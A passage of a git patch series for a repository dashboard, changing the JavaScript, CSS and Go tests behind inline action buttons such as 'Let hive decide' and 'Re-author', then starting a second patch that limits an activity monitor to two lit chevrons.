number: 16398, url: 'https://github.com/o/r/pull/16398' } }, 0); + assert.ok(chip.includes('class="ham-badge ham-adopted-from"'), chip); + assert.ok(!chip.includes('ham-lead-act') && !chip.includes('<button'), 'a record is not a button: ' + chip); } assert.strictEqual(stageTrackerSupersededOriginalClause(9, 'open'), ' #9 is superseded and still open; it closes when this merges.'); assert.strictEqual(stageTrackerSupersededOriginalClause(9, 'closed'), ' #9 is closed as superseded.'); assert.strictEqual(stageTrackerSupersededOriginalClause(9, ''), ''); diff --git a/src/pkg/dashboard/stage_tracker_lead_action_test.go b/src/pkg/dashboard/stage_tracker_lead_action_test.go index ea28fc7b66..aec72941eb 100644 --- a/src/pkg/dashboard/stage_tracker_lead_action_test.go +++ b/src/pkg/dashboard/stage_tracker_lead_action_test.go @@ -16,7 +16,9 @@ import ( // is the viewer's now renders its lead action as a real button in the chip // slot: the β‹― menu's `lead` entry, else the first Decide… option, else // Adopt; the same id, hint and enable/disable reason, run down the same -// runRowAction path. One button only; everything else stays in β‹―. +// runRowAction path. One button only β€” plus "Let hive decide" beside the +// server's lead on a row parked on a human decision; everything else +// stays in β‹―. func TestStageTrackerLeadActionInline(t *testing.T) { html := indexHTML(t) @@ -27,6 +29,10 @@ func TestStageTrackerLeadActionInline(t *testing.T) { `stageTrackerChipsHtml(shown) + (typeof stageTrackerLeadButtonHtml === 'function' ? stageTrackerLeadButtonHtml(item, nowMs, subRows) : '')`, `stageTrackerChipsHtml(pr) + (typeof stageTrackerLeadButtonHtml === 'function' ? stageTrackerLeadButtonHtml(pr, nowMs) : '')`, `.ham-lead-act[aria-disabled="true"]`, + `.ham-lead-act::after { content: 'β–Έ';`, + `.ham-lead-act.ham-act-secondary {`, + `.ham-lead-act.ham-menu-danger { --ham-act-fill: var(--red);`, + `.ham-lead-act[aria-disabled="true"]::after { content: none; }`, } { if !strings.Contains(html, want) { t.Errorf("index.html lacks %q", want) @@ -48,7 +54,7 @@ assert.strictEqual(lead.id, 'accept-triage'); let h = stageTrackerLeadActionHtml(fresh, ctx); assert.strictEqual(buttons(h), 1, 'one inline button only: ' + h); assert.strictEqual(labelOf(h), 'Accept triage'); -assert.ok(h.startsWith('<button type="button" class="ham-lead-act" data-ham-act="accept-triage"'), h); +assert.ok(h.startsWith('<button type="button" class="ham-lead-act ham-act-primary" data-ham-act="accept-triage"'), h); assert.ok(!h.includes('aria-disabled'), 'enabled for a writer'); assert.ok(h.includes('title="adds `triage/accepted` as @octo; the hive takes it on its next pass (β‰ˆ10 min)"'), 'the menu entry\'s hint is the hover: ' + h); assert.ok(h.includes('aria-label="Accept triage β€” o/r#15437"'), h); @@ -68,14 +74,55 @@ assert.strictEqual(labelOf(h), 'Let hive decide'); const human = { repo: 'o/r', kind: 'pr', number: 104, title: 'Hand-made', url: 'https://github.com/o/r/pull/104', stage: 85, actor: 'maintainer', modifiers: ['needs-decision'], decision_needed: { question: 'Merge it?', options: [{ action: 'decide:merge-now', label: 'Merge now', enabled: true, consequence: 'merges as you' }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true }] } }; h = stageTrackerLeadActionHtml(human, ctx); -assert.strictEqual(buttons(h), 1); +// Parked on a human decision: the server's lead AND "Let hive decide" stand +// inline, lead first (hivecommons/hive#16265 / #16456: a row showed only +// "Re-author"; the owner asked where "Let hive decide" went). +assert.strictEqual(buttons(h), 2, 'lead + Let hive decide inline: ' + h); assert.strictEqual(labelOf(h), 'Merge now', h); assert.ok(h.includes('data-ham-act="decide:merge-now"'), h); +assert.ok(h.indexOf('data-ham-act="decide:merge-now"') < h.indexOf('data-ham-act="decide:delegate"'), 'lead first: ' + h); +assert.ok(h.includes('class="ham-lead-act ham-act-secondary" data-ham-act="decide:delegate"'), 'delegate wears the pill, neutral-filled: ' + h); +assert.ok(h.includes('data-ham-act="decide:delegate" title="The hive decides for you under its policy and rails; recorded as your decision with an audit marker."'), 'delegate explains itself on hover, not "delegate": ' + h); +assert.ok(h.includes('>Let hive decide</button>'), h); +let leads = stageTrackerLeadActionsOnRow(human, ctx); +assert.strictEqual(leads.length, 2); +assert.strictEqual(leads[1].id, 'decide:delegate'); +assert.strictEqual(leads[1].target, human, 'delegate carries the decide target'); +assert.strictEqual(leads[1].enabled, true); +// The parked issue whose lead already is delegate: one pill, never two. +assert.strictEqual(stageTrackerLeadActionsOnRow(parked, ctx).length, 1); +// A Re-author lead (the #16456 row): both pills, delegate disabled with its +// reason for a reader. +const reauthor = { ...human, number: 16456, decision_needed: { question: 'Changes requested', options: [{ action: 'decide:re-author', label: 'Re-author', enabled: true, lead: true }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true }] } }; +h = stageTrackerLeadActionHtml(reauthor, ctx); +assert.strictEqual(buttons(h), 2, h); +assert.strictEqual(labelOf(h), 'Re-author', h); +assert.ok(h.includes('data-ham-act="decide:delegate"'), h); +// Owner on that row: "Re-author" read as a record of what happened β€” the +// action pills and the record pills ("adopted from #N", the base branch) +// wore the same outline. Inline actions are <button>s with the filled +// action class (primary / secondary / danger), never the record class; +// a record pill never carries the action class. The server's +// consequence is the lead's hover text; a lead without one gets the +// client's clause for its verb. +assert.ok(h.includes('<button type="button" class="ham-lead-act ham-act-primary" data-ham-act="decide:re-author" title="The hive opens a fresh PR for the same issue from the current base and closes this one as superseded."'), 'lead: filled primary button with the consequence tooltip: ' + h); +assert.ok(!h.includes('ham-badge'), 'action pills never wear the record class: ' + h); +assert.strictEqual((h.match(/<button type="button" class="ham-lead-act ham-act-(primary|secondary)"/g) || []).length, 2, h); +const withConsequence = { ...reauthor, decision_needed: { question: 'Changes requested', options: [{ action: 'decide:re-author', label: 'Re-author', enabled: true, lead: true, consequence: 'Hive opens a fresh PR for the issue and closes this one as superseded' }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true }] } }; +assert.ok(stageTrackerLeadActionHtml(withConsequence, ctx).includes('title="Hive opens a fresh PR for the issue and closes this one as superseded"'), 'the server consequence wins'); +const closeLead = { ...human, decision_needed: { question: 'Superseded?', options: [{ action: 'decide:close-superseded', label: 'Close as superseded by #9', enabled: true, lead: true }, { action: 'decide:delegate', label: 'Let hive decide', enabled: true }] } }; +h = stageTrackerLeadActionHtml(closeLead, ctx); +assert.ok(h.includes('class="ham-lead-act ham-menu-danger" data-ham-act="decide:close-superseded"'), 'a destructive lead fills red: ' + h); +assert.ok(h.includes('class="ham-lead-act ham-act-secondary" data-ham-act="decide:delegate"'), h); +h = stageTrackerLeadActionHtml(reauthor, { ...ctx, user: false, canHold: false }); +assert.strictEqual(buttons(h), 2, h); +assert.ok((h.match(/aria-disabled="true"/g) || []).length === 2, 'both greyed for a reader: ' + h); // Ready for human merge without a merger role: the merge option is greyed -// with its reason, never hidden. +// with its reason, never hidden; delegate stays enabled beside it. h = stageTrackerLeadActionHtml(human, { ...ctx, canHuman: false }); -assert.strictEqual(buttons(h), 1); -assert.ok(h.includes('aria-disabled="true"'), h); +assert.strictEqual(buttons(h), 2); +assert.ok(h.includes('data-ham-act="decide:merge-now" aria-disabled="true"'), h); +assert.ok(!h.includes('data-ham-act="decide:delegate" aria-disabled="true"'), h); // A returned contributor PR whose adoption is due leads with Adopt. const returned = { repo: 'o/r', kind: 'pr', number: 101, title: 'Fix redirect', url: 'https://github.com/o/r/pull/101', stage: 72, actor: 'karibhou', modifiers: [], adoption: { due: true, action: 'decide:adopt' } }; @@ -205,7 +252,12 @@ for (const it of rows) { const lead = stageTrackerLeadAction(it, ctx); if (!lead || !lead.enabled) missing.push(it.kind + '#' + it.number + ' (' + it.caption + ') β†’ ' + JSON.stringify(lead)); const h = stageTrackerLeadActionHtml(it, ctx); - assert.strictEqual((h.match(/<button\b/g) || []).length, 1, 'one button on ' + it.kind + '#' + it.number + ': ' + h); + // One pill β€” two on a row parked on a human decision (a Decide… target) + // whose lead is not itself "Let hive decide" (the delegate pill stands + // beside it). A triage row's accept-triage stays alone. + const human = !!stageTrackerDecisionTarget(it) && !!(it.decision_needed && it.decision_needed.question) && lead && lead.id !== 'decide:delegate'; + assert.strictEqual((h.match(/<button\b/g) || []).length, human ? 2 : 1, (human ? 'lead + delegate' : 'one button') + ' on ' + it.kind + '#' + it.number + ': ' + h); + if (human) assert.ok(h.indexOf('data-ham-act="decide:delegate"') > h.indexOf('data-ham-act="' + lead.id + '"'), 'lead first on ' + it.kind + '#' + it.number); } assert.deepStrictEqual(missing, [], 'maintainer-moved rows without an enabled lead action'); `) diff --git a/src/pkg/dashboard/stage_tracker_row_actions_test.go b/src/pkg/dashboard/stage_tracker_row_actions_test.go index 6c8c70cb69..e53a892ab4 100644 --- a/src/pkg/dashboard/stage_tracker_row_actions_test.go +++ b/src/pkg/dashboard/stage_tracker_row_actions_test.go @@ -19,6 +19,7 @@ func stageTrackerRowActionsPreamble(t *testing.T, html string) string { jsConstLine(t, html, "STAGE_TRACKER_GROUP_KEY_PREFIX"), jsConstLine(t, html, "STAGE_TRACKER_DECISION_STAGES"), jsConstLine(t, html, "STAGE_TRACKER_SEL_ACTIONS"), + jsConstLine(t, html, "STAGE_TRACKER_ACTION_CONSEQUENCES"), jsConstLine(t, html, "STAGE_TRACKER_MENU_MARGIN"), jsConstLine(t, html, "STAGE_TRACKER_MENU_FAIL_LINES"), jsConstBlock(t, html, "STAGE_TRACKER_DECISION_GLOSSARY"), @@ -100,7 +101,10 @@ func stageTrackerRowActionsPreamble(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerPRListedOwnRow"), jsFunc(t, html, "stageTrackerPRDrawnUnderOther"), jsFunc(t, html, "stageTrackerLeadActionOnRow"), + jsFunc(t, html, "stageTrackerLeadCompanion"), + jsFunc(t, html, "stageTrackerLeadActionsOnRow"), jsFunc(t, html, "stageTrackerLeadActionHtml"), + jsFunc(t, html, "stageTrackerLeadPillHtml"), jsFunc(t, html, "stageTrackerMenuTextHtml"), jsFunc(t, html, "stageTrackerFlatActions"), jsFunc(t, html, "stageTrackerSelectionActions"), diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index d779d80254..6c37d0bc05 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -765,15 +765,21 @@ .ham-decision-act[aria-disabled="true"] { color: var(--text-faint); border-style: dashed; cursor: default; opacity: 0.6; } .ham-decision-act[aria-disabled="true"]:hover { background: transparent; border-color: var(--line-subtle); } .ham-decision-act.ham-decision-more { color: var(--text-muted); } - /* The row's inline lead action (the β‹― menu's lead entry, in sight): a - small primary pill in the chip slot, the popover lead's recipe, the - row's cue colour; dashed and faint with its reason when the viewer - may not take it. */ - .ham-lead-act { padding: 0 var(--sp-3); border: var(--line-width) solid var(--cue-state, var(--accent)); border-radius: var(--r-pill); background: color-mix(in srgb, var(--cue-state, var(--accent)) 10%, transparent); color: var(--cue-state, var(--accent)); font: inherit; font-size: var(--fs-xs); font-weight: var(--fw-semibold); line-height: 1.4; cursor: pointer; white-space: nowrap; } - .ham-lead-act:hover, .ham-lead-act:focus-visible { background: color-mix(in srgb, var(--cue-state, var(--accent)) 22%, transparent); outline: none; } - .ham-lead-act:focus-visible { box-shadow: 0 0 0 var(--line-width) var(--accent); } - .ham-lead-act.ham-menu-danger { color: var(--red); border-color: var(--red); background: color-mix(in srgb, var(--red) 10%, transparent); } - .ham-lead-act[aria-disabled="true"] { color: var(--text-faint); border-color: var(--line-subtle); border-style: dashed; background: transparent; cursor: default; opacity: 0.7; } + /* The row's inline action pills (the β‹― menu's lead entry, and "Let hive + decide" beside it on a row parked on a human decision): real buttons + that must not pass for the record pills in the same slot ("adopted + from #N", the base branch β€” muted outlines, no hover). So: a filled + chip, a trailing β–Έ glyph, pointer cursor, hover lift and focus ring. + Primary (the lead) fills amber; secondary (delegate) fills neutral; + danger (a server-led close) fills red. Dashed, faint and glyph-less + with its reason when the viewer may not take it. */ + .ham-lead-act { --ham-act-fill: var(--amber); --ham-act-ink: var(--bg); display: inline-flex; align-items: center; gap: var(--sp-1); padding: 0 var(--sp-3); border: var(--line-width) solid var(--ham-act-fill); border-radius: var(--r-pill); background: var(--ham-act-fill); color: var(--ham-act-ink); font: inherit; font-size: var(--fs-xs); font-weight: var(--fw-semibold); line-height: 1.5; cursor: pointer; white-space: nowrap; transition: filter 120ms ease, box-shadow 120ms ease; } + .ham-lead-act::after { content: 'β–Έ'; opacity: 0.85; } + .ham-lead-act.ham-act-secondary { --ham-act-fill: var(--panel-strong); --ham-act-ink: var(--text); border-color: var(--line-strong); } + .ham-lead-act.ham-menu-danger { --ham-act-fill: var(--red); --ham-act-ink: var(--bg); } + .ham-lead-act:hover, .ham-lead-act:focus-visible { filter: brightness(1.12); outline: none; box-shadow: 0 0 0 var(--line-width) var(--bg), 0 0 0 calc(var(--line-width) * 3) var(--ham-act-fill); } + .ham-lead-act[aria-disabled="true"] { --ham-act-fill: transparent; --ham-act-ink: var(--text-faint); border-color: var(--line-subtle); border-style: dashed; background: transparent; cursor: default; opacity: 0.7; filter: none; box-shadow: none; } + .ham-lead-act[aria-disabled="true"]::after { content: none; } /* Busy (Let hive decide gathering its preview) also sets aria-disabled, so this compound rule sits after the disabled one and wins: the working colour, not faint/dashed. */ .ham-lead-act[aria-busy="true"][aria-disabled="true"] { cursor: progress; opacity: 1; border-style: solid; border-color: var(--cue-work); background: color-mix(in srgb, var(--cue-work) 10%, transparent); color: var(--cue-work); } diff --git a/src/pkg/dashboard/static-src/js/tracker-actions.js b/src/pkg/dashboard/static-src/js/tracker-actions.js index 55f7ed287d..5eeb8bbe87 100644 --- a/src/pkg/dashboard/static-src/js/tracker-actions.js +++ b/src/pkg/dashboard/static-src/js/tracker-actions.js @@ -557,12 +557,50 @@ const sub = typeof stageTrackerLinkedPRItem === 'function' ? stageTrackerLinkedPRItem(item, lp) : null; return sub && stageTrackerLeadAction(sub, ctx) ? null : a; } - // The inline lead button for a row: a real <button> carrying the same - // id, hint and enable/disable reason as the β‹― menu entry it mirrors; + // Pure: the second inline pill of a row parked on a human decision β€” + // the Decide… submenu's "Let hive decide" (decide:delegate), carrying + // the decide target and enable reason the way stageTrackerLeadAction's + // fallback does β€” when the server's lead is another verb (Re-author, + // Merge now…). A row saw only "Re-author" and asked where "Let hive + // decide" went (hivecommons/hive#16265 / #16456): the β‹― menu is + // invisible, so both stand on the row. null when the lead already is + // delegate, the row has no human decision, or the lead is a passive chip. + function stageTrackerLeadCompanion(item, ctx, lead) { + if (!item || !lead || lead.passive || lead.id === 'decide:delegate') return null; + const dec = typeof stageTrackerDecisionOf === 'function' ? stageTrackerDecisionOf(item) : null; + const human = !!(dec && dec.item && dec.item.decision_needed) || (item.stage_actor && item.stage_actor.kind === 'human') || (Number(item.stage) || 0) === 85; + if (!human) return null; + const decide = stageTrackerRowActions(item, ctx).find(a => a.id === 'decide'); + const o = decide && Array.isArray(decide.submenu) ? decide.submenu.find(x => x && x.id === 'decide:delegate') : null; + if (!o) return null; + const enabled = !!decide.enabled && !!o.enabled; + return Object.assign({}, o, { target: decide.target, enabled, why: enabled ? '' : (decide.enabled ? o.why : decide.why), hint: STAGE_TRACKER_ACTION_CONSEQUENCES['decide:delegate'], companion: true }); + } + // Pure: the inline pills a row renders β€” its lead, then (a row parked + // on a human decision whose lead is not delegate) "Let hive decide". + function stageTrackerLeadActionsOnRow(item, ctx, subRows) { + const a = stageTrackerLeadActionOnRow(item, ctx, subRows); + if (!a) return []; + const companion = stageTrackerLeadCompanion(item, ctx, a); + return companion ? [a, companion] : [a]; + } + // The inline lead button(s) for a row: real <button>s carrying the same + // id, hint and enable/disable reason as the β‹― menu entries they mirror; // '' when the row has no lead. Click handling is delegated in // stageTrackerWireRowActions and runs runRowAction, the menu's path. function stageTrackerLeadActionHtml(item, ctx, subRows) { - const a = stageTrackerLeadActionOnRow(item, ctx, subRows); + return stageTrackerLeadActionsOnRow(item, ctx, subRows).map(a => stageTrackerLeadPillHtml(item, a)).join(''); + } + // The hover text of an inline pill when the server sent no + // `consequence`: what happens when it is pressed, in one clause. + const STAGE_TRACKER_ACTION_CONSEQUENCES = { 'decide:delegate': 'The hive decides for you under its policy and rails; recorded as your decision with an audit marker.', 'decide:re-author': 'The hive opens a fresh PR for the same issue from the current base and closes this one as superseded.', 'decide:adopt': 'The hive takes the PR over: a hive copy on its own branch; the original is closed as superseded.', 'accept-triage': 'Marks the issue accepted; the hive takes it on its next pass.' }; + // A row's inline pills are buttons and must read as buttons beside the + // record pills they share a slot with ("adopted from #N", the base + // branch): a filled chip β€” ham-act-primary (the lead), ham-act-secondary + // ("Let hive decide" beside it) or ham-menu-danger β€” with a trailing + // glyph (tracker.css ::after). Owner on #16456: "Re-author" in the + // outlined pill read as a record of what happened, not a verb. + function stageTrackerLeadPillHtml(item, a) { if (!a) return ''; // The covering PR has its own row (or is drawn under another listed // issue): the decision β€” whatever its lead (Let hive decide, Merge @@ -577,10 +615,11 @@ return `<button type="button" class="ham-badge ham-decision-pending" data-ham-scroll-to="${esc(to)}"${via} title="${esc('The decision is on PR #' + a.passive + ' β€” ' + String(a.label || a.id) + ' lives on ' + where + '. Click to go there.')}">decision pending on #${Number(a.passive) || 0}</button>`; } const label = String(a.label || a.id); - const tip = a.enabled ? String(a.hint || a.note || a.consequence || '') : String(a.why || ''); + const tip = a.enabled ? String(a.hint || a.note || a.consequence || STAGE_TRACKER_ACTION_CONSEQUENCES[a.id] || '') : String(a.why || ''); const ref = typeof stageTrackerRefOf === 'function' ? stageTrackerRefOf(item) : ''; const state = a.enabled ? (tip ? ` title="${esc(tip)}"` : '') : ` aria-disabled="true" title="${esc(tip)}"`; - return `<button type="button" class="ham-lead-act${a.danger ? ' ham-menu-danger' : ''}" data-ham-act="${esc(a.id)}"${state} aria-label="${esc(label + (ref ? ' β€” ' + ref : ''))}">${esc(label)}</button>`; + const tone = a.danger ? ' ham-menu-danger' : (a.companion ? ' ham-act-secondary' : ' ham-act-primary'); + return `<button type="button" class="ham-lead-act${tone}" data-ham-act="${esc(a.id)}"${state} aria-label="${esc(label + (ref ? ' β€” ' + ref : ''))}">${esc(label)}</button>`; } // Pure: the actions for a row parked on a blocker (hivecommons/hive#15099): // the server lists them in decision_needed.options (a capability gap diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 58d56b99ef..e0e165c32e 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -2102,15 +2102,21 @@ .ham-decision-act[aria-disabled="true"] { color: var(--text-faint); border-style: dashed; cursor: default; opacity: 0.6; } .ham-decision-act[aria-disabled="true"]:hover { background: transparent; border-color: var(--line-subtle); } .ham-decision-act.ham-decision-more { color: var(--text-muted); } - /* The row's inline lead action (the β‹― menu's lead entry, in sight): a - small primary pill in the chip slot, the popover lead's recipe, the - row's cue colour; dashed and faint with its reason when the viewer - may not take it. */ - .ham-lead-act { padding: 0 var(--sp-3); border: var(--line-width) solid var(--cue-state, var(--accent)); border-radius: var(--r-pill); background: color-mix(in srgb, var(--cue-state, var(--accent)) 10%, transparent); color: var(--cue-state, var(--accent)); font: inherit; font-size: var(--fs-xs); font-weight: var(--fw-semibold); line-height: 1.4; cursor: pointer; white-space: nowrap; } - .ham-lead-act:hover, .ham-lead-act:focus-visible { background: color-mix(in srgb, var(--cue-state, var(--accent)) 22%, transparent); outline: none; } - .ham-lead-act:focus-visible { box-shadow: 0 0 0 var(--line-width) var(--accent); } - .ham-lead-act.ham-menu-danger { color: var(--red); border-color: var(--red); background: color-mix(in srgb, var(--red) 10%, transparent); } - .ham-lead-act[aria-disabled="true"] { color: var(--text-faint); border-color: var(--line-subtle); border-style: dashed; background: transparent; cursor: default; opacity: 0.7; } + /* The row's inline action pills (the β‹― menu's lead entry, and "Let hive + decide" beside it on a row parked on a human decision): real buttons + that must not pass for the record pills in the same slot ("adopted + from #N", the base branch β€” muted outlines, no hover). So: a filled + chip, a trailing β–Έ glyph, pointer cursor, hover lift and focus ring. + Primary (the lead) fills amber; secondary (delegate) fills neutral; + danger (a server-led close) fills red. Dashed, faint and glyph-less + with its reason when the viewer may not take it. */ + .ham-lead-act { --ham-act-fill: var(--amber); --ham-act-ink: var(--bg); display: inline-flex; align-items: center; gap: var(--sp-1); padding: 0 var(--sp-3); border: var(--line-width) solid var(--ham-act-fill); border-radius: var(--r-pill); background: var(--ham-act-fill); color: var(--ham-act-ink); font: inherit; font-size: var(--fs-xs); font-weight: var(--fw-semibold); line-height: 1.5; cursor: pointer; white-space: nowrap; transition: filter 120ms ease, box-shadow 120ms ease; } + .ham-lead-act::after { content: 'β–Έ'; opacity: 0.85; } + .ham-lead-act.ham-act-secondary { --ham-act-fill: var(--panel-strong); --ham-act-ink: var(--text); border-color: var(--line-strong); } + .ham-lead-act.ham-menu-danger { --ham-act-fill: var(--red); --ham-act-ink: var(--bg); } + .ham-lead-act:hover, .ham-lead-act:focus-visible { filter: brightness(1.12); outline: none; box-shadow: 0 0 0 var(--line-width) var(--bg), 0 0 0 calc(var(--line-width) * 3) var(--ham-act-fill); } + .ham-lead-act[aria-disabled="true"] { --ham-act-fill: transparent; --ham-act-ink: var(--text-faint); border-color: var(--line-subtle); border-style: dashed; background: transparent; cursor: default; opacity: 0.7; filter: none; box-shadow: none; } + .ham-lead-act[aria-disabled="true"]::after { content: none; } /* Busy (Let hive decide gathering its preview) also sets aria-disabled, so this compound rule sits after the disabled one and wins: the working colour, not faint/dashed. */ .ham-lead-act[aria-busy="true"][aria-disabled="true"] { cursor: progress; opacity: 1; border-style: solid; border-color: var(--cue-work); background: color-mix(in srgb, var(--cue-work) 10%, transparent); color: var(--cue-work); } @@ -22160,12 +22166,50 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> const sub = typeof stageTrackerLinkedPRItem === 'function' ? stageTrackerLinkedPRItem(item, lp) : null; return sub && stageTrackerLeadAction(sub, ctx) ? null : a; } - // The inline lead button for a row: a real <button> carrying the same - // id, hint and enable/disable reason as the β‹― menu entry it mirrors; + // Pure: the second inline pill of a row parked on a human decision β€” + // the Decide… submenu's "Let hive decide" (decide:delegate), carrying + // the decide target and enable reason the way stageTrackerLeadAction's + // fallback does β€” when the server's lead is another verb (Re-author, + // Merge now…). A row saw only "Re-author" and asked where "Let hive + // decide" went (hivecommons/hive#16265 / #16456): the β‹― menu is + // invisible, so both stand on the row. null when the lead already is + // delegate, the row has no human decision, or the lead is a passive chip. + function stageTrackerLeadCompanion(item, ctx, lead) { + if (!item || !lead || lead.passive || lead.id === 'decide:delegate') return null; + const dec = typeof stageTrackerDecisionOf === 'function' ? stageTrackerDecisionOf(item) : null; + const human = !!(dec && dec.item && dec.item.decision_needed) || (item.stage_actor && item.stage_actor.kind === 'human') || (Number(item.stage) || 0) === 85; + if (!human) return null; + const decide = stageTrackerRowActions(item, ctx).find(a => a.id === 'decide'); + const o = decide && Array.isArray(decide.submenu) ? decide.submenu.find(x => x && x.id === 'decide:delegate') : null; + if (!o) return null; + const enabled = !!decide.enabled && !!o.enabled; + return Object.assign({}, o, { target: decide.target, enabled, why: enabled ? '' : (decide.enabled ? o.why : decide.why), hint: STAGE_TRACKER_ACTION_CONSEQUENCES['decide:delegate'], companion: true }); + } + // Pure: the inline pills a row renders β€” its lead, then (a row parked + // on a human decision whose lead is not delegate) "Let hive decide". + function stageTrackerLeadActionsOnRow(item, ctx, subRows) { + const a = stageTrackerLeadActionOnRow(item, ctx, subRows); + if (!a) return []; + const companion = stageTrackerLeadCompanion(item, ctx, a); + return companion ? [a, companion] : [a]; + } + // The inline lead button(s) for a row: real <button>s carrying the same + // id, hint and enable/disable reason as the β‹― menu entries they mirror; // '' when the row has no lead. Click handling is delegated in // stageTrackerWireRowActions and runs runRowAction, the menu's path. function stageTrackerLeadActionHtml(item, ctx, subRows) { - const a = stageTrackerLeadActionOnRow(item, ctx, subRows); + return stageTrackerLeadActionsOnRow(item, ctx, subRows).map(a => stageTrackerLeadPillHtml(item, a)).join(''); + } + // The hover text of an inline pill when the server sent no + // `consequence`: what happens when it is pressed, in one clause. + const STAGE_TRACKER_ACTION_CONSEQUENCES = { 'decide:delegate': 'The hive decides for you under its policy and rails; recorded as your decision with an audit marker.', 'decide:re-author': 'The hive opens a fresh PR for the same issue from the current base and closes this one as superseded.', 'decide:adopt': 'The hive takes the PR over: a hive copy on its own branch; the original is closed as superseded.', 'accept-triage': 'Marks the issue accepted; the hive takes it on its next pass.' }; + // A row's inline pills are buttons and must read as buttons beside the + // record pills they share a slot with ("adopted from #N", the base + // branch): a filled chip β€” ham-act-primary (the lead), ham-act-secondary + // ("Let hive decide" beside it) or ham-menu-danger β€” with a trailing + // glyph (tracker.css ::after). Owner on #16456: "Re-author" in the + // outlined pill read as a record of what happened, not a verb. + function stageTrackerLeadPillHtml(item, a) { if (!a) return ''; // The covering PR has its own row (or is drawn under another listed // issue): the decision β€” whatever its lead (Let hive decide, Merge @@ -22180,10 +22224,11 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> return `<button type="button" class="ham-badge ham-decision-pending" data-ham-scroll-to="${esc(to)}"${via} title="${esc('The decision is on PR #' + a.passive + ' β€” ' + String(a.label || a.id) + ' lives on ' + where + '. Click to go there.')}">decision pending on #${Number(a.passive) || 0}</button>`; } const label = String(a.label || a.id); - const tip = a.enabled ? String(a.hint || a.note || a.consequence || '') : String(a.why || ''); + const tip = a.enabled ? String(a.hint || a.note || a.consequence || STAGE_TRACKER_ACTION_CONSEQUENCES[a.id] || '') : String(a.why || ''); const ref = typeof stageTrackerRefOf === 'function' ? stageTrackerRefOf(item) : ''; const state = a.enabled ? (tip ? ` title="${esc(tip)}"` : '') : ` aria-disabled="true" title="${esc(tip)}"`; - return `<button type="button" class="ham-lead-act${a.danger ? ' ham-menu-danger' : ''}" data-ham-act="${esc(a.id)}"${state} aria-label="${esc(label + (ref ? ' β€” ' + ref : ''))}">${esc(label)}</button>`; + const tone = a.danger ? ' ham-menu-danger' : (a.companion ? ' ham-act-secondary' : ' ham-act-primary'); + return `<button type="button" class="ham-lead-act${tone}" data-ham-act="${esc(a.id)}"${state} aria-label="${esc(label + (ref ? ' β€” ' + ref : ''))}">${esc(label)}</button>`; } // Pure: the actions for a row parked on a blocker (hivecommons/hive#15099): // the server lists them in decision_needed.options (a capability gap From afaa0df36b3a00ebeca716f485f9bfd52eecd08b Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 23:40:27 -0500 Subject: [PATCH 42/87] =?UTF-8?q?=F0=9F=90=9B=20Activity=20Monitor:=20neve?= =?UTF-8?q?r=20more=20than=20two=20lit=20chevrons;=20unreported=20CI=20is?= =?UTF-8?q?=20pending,=20not=20amber=20(#16545)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› Activity Monitor: never more than two lit chevrons; unreported CI is pending, not amber Rows lit three chevrons (PR in progress + "CI 7/11 Β· test not reported" + a decided review), and a row waiting on its contributor lit CI although nothing was running β€” checks not reported are simply not scheduled. - stageTrackerTrackRunning: a CI / Review track is amber only on motion evidence on the current head (check-run in_progress/queued, reviewer running/queued, or the backend active flag); never while the row waits on a person (071/072 waiting_owner, hold, needs-human). - Words without motion (missing/unknown/skipped, swarm requested, re-review pending) wear the new .pending class: current-phase text, muted field. - Both tracks running: the stage chevron is settled-current (bright words, no amber, no pulse) and its tooltip says it waits on CI and review. - Tests: every rows fixture asserts count(lit) <= 2 (prelude wrapper); cases for #16509 (one lit), #16268 waiting_owner (exactly one lit) and three-qualify (tracks win); node shapes in the remediation chevron test; existing expectations moved from active to pending where nothing runs. Fixes #16540 Signed-off-by: Andrew Anderson <andy@clubanderson.com> * πŸ› Tracks are filled only while running; queued swarm counts 0/N - CSS: .done / .failing / .pending / .decided on a CI or Review track are words in their colour (green pass, red finding, muted pending) on the muted field β€” only a running track (.active) is filled. A PR-in-progress row with changes requested shows exactly one filled chevron. - Go: stageTrackerCountPerspectives zeroes perspectives_done when the swarm is unassigned (requested / queued), so "Review 5/5 Β· swarm requested" cannot occur; total falls back to the configured set. - Tests: Go count case (#16539 shape), rows fixture (#16456 row β†’ 1 lit), node shapes + CSS pins; lift the new helpers in the human-attention test (runtime-tests failure on this PR). Refs #16540 Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- changelog.d/fixed-two-lit-chevrons.md | 1 + src/pkg/dashboard/stage_tracker_activity.go | 9 +++ .../dashboard/stage_tracker_activity.test.js | 33 +++++--- .../dashboard/stage_tracker_activity_test.go | 12 +++ .../dashboard/stage_tracker_advisory_test.go | 2 + .../stage_tracker_human_attention.test.js | 2 +- .../dashboard/stage_tracker_motion_test.go | 4 + src/pkg/dashboard/stage_tracker_new_test.go | 2 + .../stage_tracker_remediation_chevron.test.js | 75 ++++++++++++++++++- .../stage_tracker_repo_grouping_test.go | 2 + .../stage_tracker_ui_prelude_test.go | 9 ++- .../dashboard/stage_tracker_ui_rows_test.go | 36 +++++++++ src/pkg/dashboard/static-src/css/tracker.css | 16 +++- .../static-src/js/tracker-row-strip.js | 49 ++++++++++-- src/pkg/dashboard/static/index.html | 65 ++++++++++++++-- 15 files changed, 286 insertions(+), 31 deletions(-) create mode 100644 changelog.d/fixed-two-lit-chevrons.md diff --git a/changelog.d/fixed-two-lit-chevrons.md b/changelog.d/fixed-two-lit-chevrons.md new file mode 100644 index 0000000000..55aa7aa9bf --- /dev/null +++ b/changelog.d/fixed-two-lit-chevrons.md @@ -0,0 +1 @@ +- Activity Monitor: a row never lights more than two chevrons, and a filled chevron now always means "this is where the item is / what is in motion". CI and Review are 